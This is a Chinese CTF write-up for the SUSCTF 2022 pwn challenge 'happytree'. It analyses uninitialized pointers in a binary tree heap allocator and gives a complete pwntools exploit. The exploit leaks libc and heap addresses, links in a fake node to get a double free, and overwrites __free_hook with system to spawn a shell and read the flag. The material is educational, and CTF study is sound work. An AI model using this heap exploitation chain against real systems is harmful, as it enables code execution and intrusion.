[susctf2022-pwn] 02-happytree

早晨才看到比赛,9点就结束。结束后作了一道题。

堆有漏洞大概有3个:UAF,写溢出,未初始化指针。其中未初始化指针是最难找了,一般想不到。不过也有个办法如果找不着前边两个就找后边这个。

题目有add,show,free三个函数。其中add有两个未初始化指针:

__int64 __fastcall m1add(__int64 a1, __int64 a2, unsigned int a3)
{
  __int64 v5; // [rsp+10h] [rbp-10h]

  v5 = a2;
  if ( a2 )
  {
    if ( (signed int)a3 >= *(_DWORD *)a2 )
    {
      if ( (signed int)a3 > *(_DWORD *)a2 )
        *(_QWORD *)(a2 + 24) = m1add(a2, *(_QWORD *)(a2 + 24), a3);
    }
    else
    {
      *(_QWORD *)(a2 + 16) = m1add(a2, *(_QWORD *)(a2 + 16), a3);
    }
  }
  else
  {
    v5 = operator new(0x20uLL);                 // 管理块: int:size; *msg; *left; *right 左右指针未初始化
    *(_DWORD *)v5 = a3;
    *(_QWORD *)(v5 + 8) = operator new[]((unsigned __int8)a3);// 4字节无符号整数仅建1字节无符号数块
    std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
    read(0, *(void **)(v5 + 8), (unsigned __int8)a3);// 有残留,可以得到libc
  }
  return v5;
}

管理块块结构:

struct{int size;char *msg;char *left;char *right;}

这里在free时有个小坑,如果释放的节点同时有左右子树,则释放右子树的最左叶子。这个看了半天,结果完全没用,人家想释放谁释放谁,就这么定的。

基本思路:

  1. 因为在读入数据的时候用的read,所以有残留。可以很容易得到堆地址和libc地址;
  2. 申请一个0x41的块释放掉,找到堆里的偏移。将来用这个管理块作个fake链入树中;
  3. 申请0x31块(管理块同大),左树位置写fake指针(刚释放块size位置为0,比存在的小)释放;
  4. 先用掉第1个0x31管理块,再申请第2个块(left->fake)这时fake被链入树中;
  5. 释放fake块得到loop然后就是free_hook写system。

完整exp:

from pwn import *

'''
patchelf --set-interpreter /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/ld-2.27.so pwn
patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so pwn
patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libm-2.27.so pwn
'''

elf = ELF('./pwn')
context.arch = 'amd64'

def connect(local=1):
    global p
    
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('124.71.147.225', 9999) 

libc_elf = ELF('/home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so')
one = [0x4f365, 0x4f3c2, 0x10a45c]
libc_start_main_ret = 0x21b97
context(arch='amd64')

menu = b"cmd> "
def add(size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"data: ", str(size).encode())
    p.sendafter(b"content: ", msg)

def free(size):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b'data: ', str(size).encode())

def show(size):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b'data: ', str(size).encode())

def pwn():
    #libc
    [add(0x80+i, b'A') for i in range(8)]
    [free(0x80+7-i) for i in range(8)]
    add(0x70, b'A'*8)
    show(0x70)
    p.recvuntil(b'A'*8)
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x80 - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[0]
    print('libc:', hex(libc_base))
    free(0x70)

    #heap
    add(0x20, b'\xb0')
    show(0x20)
    p.recvuntil(b'content: ')
    heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x120b0
    print('heap:', hex(heap_base))
    free(0x20)
    
    #作个0x41将来double free,现在先释放一次
    add(0x30, b'X'*0x30)
    free(0x30)
    #确定上步0x41块的管理块地址
    t_chunk = heap_base + 0x11e70 #ec0->ef0:0x41
    print('fake:',hex(t_chunk))
    #将管理块同大的块写入fake指针,残留将留在管理块,释放两个0x31块,第2个有残留
    add(0x20, flat(0,0,t_chunk,0))
    free(0x20)
    #用掉第1个0x31块
    add(0x90, b'/bin/sh\x00')
    #第2个0x31,残留fake作为子树链入
    add(0x10, b'B') #left->fake
    #释放fake得到0x41环
    free(0)
    #
    add(0x30, p64(libc_elf.sym['__free_hook']))
    add(0x31, b'/bin/sh\x00')
    add(0x32, p64(libc_elf.sym['system']))
    
    free(0x90)

    p.sendline(b'cat /flag')
    p.interactive()

connect(0)
pwn()

#SUSCTF{We_4re_pl4ying_unDer_th3_tRee}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值